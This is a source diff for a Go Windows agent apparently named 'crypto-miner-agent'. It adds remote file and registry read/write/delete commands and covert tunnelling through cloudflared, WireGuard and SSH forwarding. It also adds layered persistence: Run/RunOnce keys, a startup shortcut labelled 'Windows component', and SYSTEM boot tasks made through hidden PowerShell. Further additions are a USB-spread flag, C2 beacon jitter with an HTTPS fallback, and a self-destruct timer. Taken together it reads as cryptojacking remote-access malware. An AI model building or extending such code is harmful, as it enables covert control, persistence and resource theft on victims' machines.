82
agent/client/file_ops_windows.go
Normal file
82
agent/client/file_ops_windows.go
Normal file
@@ -0,0 +1,82 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
const maxReadFileBytes = 512 * 1024
|
||||
|
||||
type dirEntry struct {
|
||||
Name string `json:"name"`
|
||||
IsDir bool `json:"is_dir"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleFileCommand(action, path string) bool {
|
||||
switch action {
|
||||
case "list_dir":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
entries, err := os.ReadDir(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
out := make([]dirEntry, 0, len(entries))
|
||||
for _, e := range entries {
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
|
||||
}
|
||||
b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
|
||||
case "read_file":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return true
|
||||
}
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if info.IsDir() {
|
||||
c.sendCommandResult(action, false, "path is a directory")
|
||||
return true
|
||||
}
|
||||
if info.Size() > maxReadFileBytes {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
|
||||
return true
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -35,4 +35,5 @@ func WGSetupJSON() string {
|
||||
|
||||
func WGConfigure(_ WGConfigPayload) error { return nil }
|
||||
func WGTeardown() {}
|
||||
func WGIsActive() bool { return false }
|
||||
func WGStatus() string { return "not supported on this platform" }
|
||||
|
||||
@@ -150,6 +150,11 @@ func WGTeardown() {
|
||||
log.Printf("[pathtracer] WireGuard tunnel torn down")
|
||||
}
|
||||
|
||||
// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
|
||||
func WGIsActive() bool {
|
||||
return wgState.tunnelName != ""
|
||||
}
|
||||
|
||||
// WGStatus returns the number of active WireGuard peers.
|
||||
func WGStatus() string {
|
||||
if wgState.tunnelName == "" {
|
||||
|
||||
@@ -41,6 +41,8 @@ type AuthPayload struct {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
|
||||
13
agent/client/registry_ops_stub.go
Normal file
13
agent/client/registry_ops_stub.go
Normal file
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
|
||||
switch action {
|
||||
case "registry_read", "registry_write", "registry_delete":
|
||||
c.sendCommandResult(action, false, "registry operations are unsupported on this platform")
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
89
agent/client/registry_ops_windows.go
Normal file
89
agent/client/registry_ops_windows.go
Normal file
@@ -0,0 +1,89 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type registryCommandPayload struct {
|
||||
Hive string `json:"hive"`
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Type string `json:"type"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
|
||||
switch action {
|
||||
case "registry_read", "registry_write", "registry_delete":
|
||||
default:
|
||||
return false
|
||||
}
|
||||
|
||||
payload, err := parseRegistryPayload(path, data)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
hiveToken, err := deploy.ParseRegistryHive(payload.Hive)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "registry_read":
|
||||
out, err := deploy.FleetRegistryRead(hiveToken, payload.Path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
b, _ := json.Marshal(out)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
case "registry_write":
|
||||
if payload.Name == "" || payload.Value == "" {
|
||||
c.sendCommandResult(action, false, "name and value are required")
|
||||
return true
|
||||
}
|
||||
if err := deploy.FleetRegistryWrite(hiveToken, payload.Path, payload.Name, payload.Value, payload.Type); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("wrote %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
|
||||
case "registry_delete":
|
||||
if payload.Name == "" {
|
||||
c.sendCommandResult(action, false, "name is required")
|
||||
return true
|
||||
}
|
||||
if err := deploy.FleetRegistryDelete(hiveToken, payload.Path, payload.Name); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func parseRegistryPayload(path, data string) (registryCommandPayload, error) {
|
||||
var payload registryCommandPayload
|
||||
if strings.TrimSpace(data) != "" {
|
||||
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
||||
return payload, fmt.Errorf("invalid registry payload JSON: %w", err)
|
||||
}
|
||||
}
|
||||
if payload.Path == "" {
|
||||
payload.Path = strings.TrimSpace(path)
|
||||
}
|
||||
if payload.Hive == "" {
|
||||
return payload, fmt.Errorf("hive is required (HKCU or HKLM)")
|
||||
}
|
||||
if payload.Path == "" {
|
||||
return payload, fmt.Errorf("path is required")
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
@@ -61,6 +61,8 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
||||
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
if r.Environment == nil {
|
||||
r.Environment = &SysCheckEnvironment{}
|
||||
|
||||
@@ -22,6 +22,7 @@ type FullSysCheckReport struct {
|
||||
Patch *PatchStatusReport `json:"patch,omitempty"`
|
||||
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
||||
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
||||
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
|
||||
|
||||
RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
||||
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
||||
|
||||
152
agent/client/tunnel_commands.go
Normal file
152
agent/client/tunnel_commands.go
Normal file
@@ -0,0 +1,152 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
|
||||
var tunnelActions = map[string]bool{
|
||||
"tunnel_cloudflared": true,
|
||||
"tunnel_wireguard": true,
|
||||
"tunnel_ssh_forward": true,
|
||||
"tunnel_status": true,
|
||||
"tunnel_stop": true,
|
||||
"start_tunnel": true, // legacy alias
|
||||
}
|
||||
|
||||
func isTunnelAction(action string) bool {
|
||||
return tunnelActions[action]
|
||||
}
|
||||
|
||||
func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
|
||||
switch action {
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
return true, ""
|
||||
default:
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
|
||||
if !isTunnelAction(action) {
|
||||
return false
|
||||
}
|
||||
|
||||
ok, reason := c.allowTunnelAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
return true
|
||||
}
|
||||
|
||||
switch action {
|
||||
case "tunnel_cloudflared", "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = strings.TrimSpace(path)
|
||||
}
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "tunnel_wireguard":
|
||||
var payload WGConfigPayload
|
||||
raw := strings.TrimSpace(data)
|
||||
if raw == "" {
|
||||
raw = strings.TrimSpace(command)
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
if err := WGConfigure(payload); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
||||
}()
|
||||
return true
|
||||
|
||||
case "tunnel_ssh_forward":
|
||||
var meta deploy.SSHForwardMeta
|
||||
raw := strings.TrimSpace(data)
|
||||
if raw == "" {
|
||||
raw = strings.TrimSpace(command)
|
||||
}
|
||||
if err := json.Unmarshal([]byte(raw), &meta); err != nil {
|
||||
meta.LocalPort = parsePortArg(command, 0)
|
||||
hostPort := strings.TrimSpace(path)
|
||||
if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
|
||||
meta.RemoteHost = hostPort[:idx]
|
||||
meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
|
||||
}
|
||||
meta.SSHUser = strings.TrimSpace(data)
|
||||
}
|
||||
msg, err := deploy.StartSSHForward(meta)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "tunnel_status":
|
||||
raw := deploy.TunnelStatus()
|
||||
var st deploy.TunnelStatusJSON
|
||||
_ = json.Unmarshal([]byte(raw), &st)
|
||||
st.WireGuardActive = WGIsActive()
|
||||
if st.WireGuardActive {
|
||||
st.WireGuardDetail = WGStatus()
|
||||
}
|
||||
out, _ := json.Marshal(st)
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
return true
|
||||
|
||||
case "tunnel_stop":
|
||||
kind := strings.TrimSpace(strings.ToLower(command))
|
||||
var stopped int
|
||||
var msgs []string
|
||||
switch kind {
|
||||
case "", "all":
|
||||
stopped, msgs = deploy.StopTunnels()
|
||||
if WGIsActive() {
|
||||
WGTeardown()
|
||||
msgs = append(msgs, "WireGuard tunnel removed")
|
||||
stopped++
|
||||
}
|
||||
case "cloudflared", "cf":
|
||||
stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
|
||||
case "ssh", "ssh_forward":
|
||||
stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
|
||||
case "wireguard", "wg":
|
||||
if WGIsActive() {
|
||||
WGTeardown()
|
||||
msgs = append(msgs, "WireGuard tunnel removed")
|
||||
stopped = 1
|
||||
} else {
|
||||
msgs = append(msgs, "no active WireGuard tunnel")
|
||||
}
|
||||
default:
|
||||
c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -22,6 +22,16 @@ type BuiltinConfig struct {
|
||||
RunAs string
|
||||
HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
|
||||
AutoStart bool
|
||||
// AutostartMode selects boot/logon hooks beyond RunAs (Windows). Empty = legacy (HKCU Run when AutoStart).
|
||||
// Values: none, logon_run, logon_startup_folder, boot_task, logon_task, all (comma-separated allowed).
|
||||
AutostartMode string
|
||||
// RegistryPersistence selects forge-baked registry Run/RunOnce locations (Windows).
|
||||
// Values: off, hkcu_run, hkcu_run_once, hklm_run, hklm_run_once, explorer_run, combined (comma-separated allowed).
|
||||
RegistryPersistence string
|
||||
RegistryRunHKCU bool
|
||||
RegistryRunHKLM bool
|
||||
RegistryRunOnce bool
|
||||
RegistryExplorerRun bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
@@ -76,6 +86,15 @@ type BuiltinConfig struct {
|
||||
RVNPoolTLS bool // primary RVN pool TLS flag
|
||||
RVNPoolPass string // stratum password (usually "x")
|
||||
RVNBackupPools []BackupPool // failover RVN pools
|
||||
|
||||
// Connection profile — C2 beacon timing and self-destruct
|
||||
BeaconIntervalSec int // base reconnect delay seconds (0 = default 5)
|
||||
BeaconJitterPct int // ± percent jitter on reconnect sleep (0–100)
|
||||
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
|
||||
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
|
||||
HTTPSBeaconFallback bool
|
||||
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
|
||||
HTTPSBeaconAfterMin int
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
|
||||
101
agent/deploy/autostart_common.go
Normal file
101
agent/deploy/autostart_common.go
Normal file
@@ -0,0 +1,101 @@
|
||||
// Package deploy autostart hooks (Windows, MITRE T1547-style).
|
||||
//
|
||||
// Triggers:
|
||||
// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks)
|
||||
// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing)
|
||||
// - Uninstall / removePersistence → removeAutostartExtras
|
||||
//
|
||||
// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user".
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// Autostart mode values (baked at forge time via AutostartMode).
|
||||
// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user".
|
||||
const (
|
||||
AutostartNone = "none"
|
||||
AutostartLogonRun = "logon_run"
|
||||
AutostartLogonStartupFolder = "logon_startup_folder"
|
||||
AutostartBootTask = "boot_task"
|
||||
AutostartLogonTask = "logon_task"
|
||||
AutostartAll = "all"
|
||||
)
|
||||
|
||||
func runAsHasBuiltInPersistence(runAs string) bool {
|
||||
switch strings.ToLower(strings.TrimSpace(runAs)) {
|
||||
case "scheduled", "service", "bits", "host_binary":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// effectiveAutostartModes returns persistence hooks to install/heal for this forge.
|
||||
// Install + watchdog self-heal both use this list.
|
||||
func effectiveAutostartModes(cfg config.RuntimeConfig) []string {
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode))
|
||||
var modes []string
|
||||
if raw == "" || raw == "legacy" {
|
||||
if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) {
|
||||
modes = []string{AutostartLogonRun}
|
||||
}
|
||||
} else if raw == AutostartNone {
|
||||
modes = nil
|
||||
} else if raw == AutostartAll {
|
||||
modes = []string{
|
||||
AutostartLogonRun,
|
||||
AutostartLogonStartupFolder,
|
||||
AutostartBootTask,
|
||||
AutostartLogonTask,
|
||||
}
|
||||
} else {
|
||||
for _, part := range strings.Split(raw, ",") {
|
||||
part = strings.TrimSpace(part)
|
||||
if part == "" || part == AutostartNone {
|
||||
continue
|
||||
}
|
||||
modes = append(modes, part)
|
||||
}
|
||||
}
|
||||
return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg)))
|
||||
}
|
||||
|
||||
func dedupeRegistryRunOverlap(modes []string) []string {
|
||||
hasLegacy := false
|
||||
hasHKCU := false
|
||||
for _, m := range modes {
|
||||
if m == AutostartLogonRun {
|
||||
hasLegacy = true
|
||||
}
|
||||
if m == RegistryHKCURun {
|
||||
hasHKCU = true
|
||||
}
|
||||
}
|
||||
if !hasLegacy || !hasHKCU {
|
||||
return modes
|
||||
}
|
||||
out := make([]string, 0, len(modes))
|
||||
for _, m := range modes {
|
||||
if m == RegistryHKCURun {
|
||||
continue
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func autostartBootTaskName(cfg config.RuntimeConfig) string {
|
||||
return PersistenceKeyName(cfg) + "-Boot"
|
||||
}
|
||||
|
||||
func autostartLogonTaskName(cfg config.RuntimeConfig) string {
|
||||
return PersistenceKeyName(cfg) + "-Logon"
|
||||
}
|
||||
|
||||
func autostartStartupShortcutName(cfg config.RuntimeConfig) string {
|
||||
return PersistenceKeyName(cfg) + ".lnk"
|
||||
}
|
||||
15
agent/deploy/autostart_stub.go
Normal file
15
agent/deploy/autostart_stub.go
Normal file
@@ -0,0 +1,15 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func applyAutostartOnInstall(_ config.RuntimeConfig, _ string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func ensureAutostartHooks(_ config.RuntimeConfig, _ string, _ bool) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeAutostartExtras(_ config.RuntimeConfig) {}
|
||||
47
agent/deploy/autostart_test.go
Normal file
47
agent/deploy/autostart_test.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestEffectiveAutostartModesLegacy(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "w1",
|
||||
AutoStart: true,
|
||||
RunAs: "user",
|
||||
}}
|
||||
modes := effectiveAutostartModes(cfg)
|
||||
if len(modes) != 1 || modes[0] != AutostartLogonRun {
|
||||
t.Fatalf("legacy user+AutoStart = %v", modes)
|
||||
}
|
||||
|
||||
cfg.RunAs = "scheduled"
|
||||
if got := effectiveAutostartModes(cfg); len(got) != 0 {
|
||||
t.Fatalf("scheduled should not add legacy run key modes: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveAutostartModesExplicit(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
AutostartMode: "boot_task,logon_startup_folder",
|
||||
}}
|
||||
modes := effectiveAutostartModes(cfg)
|
||||
if len(modes) != 2 {
|
||||
t.Fatalf("got %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAutostartTaskAndShortcutNames(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab-node"}}
|
||||
if got := autostartBootTaskName(cfg); got != "CryptoMiner-lab-node-Boot" {
|
||||
t.Fatalf("boot task %q", got)
|
||||
}
|
||||
if got := autostartLogonTaskName(cfg); got != "CryptoMiner-lab-node-Logon" {
|
||||
t.Fatalf("logon task %q", got)
|
||||
}
|
||||
if got := autostartStartupShortcutName(cfg); got != "CryptoMiner-lab-node.lnk" {
|
||||
t.Fatalf("shortcut %q", got)
|
||||
}
|
||||
}
|
||||
126
agent/deploy/autostart_windows.go
Normal file
126
agent/deploy/autostart_windows.go
Normal file
@@ -0,0 +1,126 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart).
|
||||
// Triggers: first install (InstallIfNeeded) after binary copy.
|
||||
func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error {
|
||||
return ensureAutostartHooks(cfg, binPath, false)
|
||||
}
|
||||
|
||||
// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks.
|
||||
func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error {
|
||||
for _, mode := range effectiveAutostartModes(cfg) {
|
||||
if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error {
|
||||
switch mode {
|
||||
case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun:
|
||||
if healOnly && registryRunValueExists(cfg, mode, binPath) {
|
||||
return nil
|
||||
}
|
||||
return writeRegistryRunValue(cfg, mode, binPath)
|
||||
case AutostartLogonStartupFolder:
|
||||
if healOnly && startupShortcutExists(cfg) {
|
||||
return nil
|
||||
}
|
||||
return createLogonStartupShortcut(cfg, binPath)
|
||||
case AutostartBootTask:
|
||||
name := autostartBootTaskName(cfg)
|
||||
if healOnly && scheduledTaskExists(name) {
|
||||
return nil
|
||||
}
|
||||
return createBootScheduledTask(cfg, binPath, name)
|
||||
case AutostartLogonTask:
|
||||
name := autostartLogonTaskName(cfg)
|
||||
if healOnly && scheduledTaskExists(name) {
|
||||
return nil
|
||||
}
|
||||
return createLogonScheduledTask(cfg, binPath, name)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error {
|
||||
startupDir, err := userStartupFolder()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(startupDir, 0755); err != nil {
|
||||
return fmt.Errorf("startup folder: %w", err)
|
||||
}
|
||||
lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg))
|
||||
ps := fmt.Sprintf(`
|
||||
$ws = New-Object -ComObject WScript.Shell
|
||||
$lnk = $ws.CreateShortcut('%s')
|
||||
$lnk.TargetPath = '%s'
|
||||
$lnk.Arguments = '%s'
|
||||
$lnk.WindowStyle = 7
|
||||
$lnk.Description = 'Windows component'
|
||||
$lnk.Save()
|
||||
`,
|
||||
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||
strings.ReplaceAll(binPath, `'`, `''`),
|
||||
strings.ReplaceAll(runFlag, `'`, `''`),
|
||||
)
|
||||
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
}
|
||||
|
||||
func userStartupFolder() (string, error) {
|
||||
appData := os.Getenv("APPDATA")
|
||||
if appData == "" {
|
||||
return "", fmt.Errorf("APPDATA not set")
|
||||
}
|
||||
return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil
|
||||
}
|
||||
|
||||
func startupShortcutExists(cfg config.RuntimeConfig) bool {
|
||||
dir, err := userStartupFolder()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg)))
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func scheduledTaskTrigger(binPath string) string {
|
||||
return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
|
||||
}
|
||||
|
||||
// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run).
|
||||
func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
|
||||
tr := scheduledTaskTrigger(binPath)
|
||||
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
|
||||
"/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F")
|
||||
}
|
||||
|
||||
// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name.
|
||||
func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
|
||||
tr := scheduledTaskTrigger(binPath)
|
||||
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
|
||||
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
|
||||
}
|
||||
|
||||
func removeAutostartExtras(cfg config.RuntimeConfig) {
|
||||
removeRegistryPersistence(cfg)
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F")
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F")
|
||||
if dir, err := userStartupFolder(); err == nil {
|
||||
_ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg)))
|
||||
}
|
||||
}
|
||||
19
agent/deploy/autostart_windows_test.go
Normal file
19
agent/deploy/autostart_windows_test.go
Normal file
@@ -0,0 +1,19 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUserStartupFolderSuffix(t *testing.T) {
|
||||
dir, err := userStartupFolder()
|
||||
if err != nil {
|
||||
t.Skip("APPDATA unset in test environment")
|
||||
}
|
||||
if !strings.HasSuffix(filepath.ToSlash(dir), "Programs/Startup") {
|
||||
t.Fatalf("unexpected startup dir %q", dir)
|
||||
}
|
||||
}
|
||||
@@ -55,10 +55,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
if err := applyAutostartOnInstall(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("autostart: %w", err)
|
||||
}
|
||||
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
|
||||
@@ -3,11 +3,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func scheduledTaskExists(taskName string) bool {
|
||||
@@ -15,17 +11,7 @@ func scheduledTaskExists(taskName string) bool {
|
||||
}
|
||||
|
||||
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
val, _, err := k.GetStringValue(keyName)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(val, binPath)
|
||||
return registryRunValueExists(cfg, AutostartLogonRun, binPath)
|
||||
}
|
||||
|
||||
func serviceExists(svcName string) bool {
|
||||
@@ -59,12 +45,6 @@ func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
default:
|
||||
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return ensureAutostartHooks(cfg, installedBin, true)
|
||||
}
|
||||
|
||||
@@ -118,12 +118,8 @@ func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||
removeAutostartExtras(cfg)
|
||||
RemoveBITSPersistence(cfg)
|
||||
RemoveHostBinaryPersistence(cfg)
|
||||
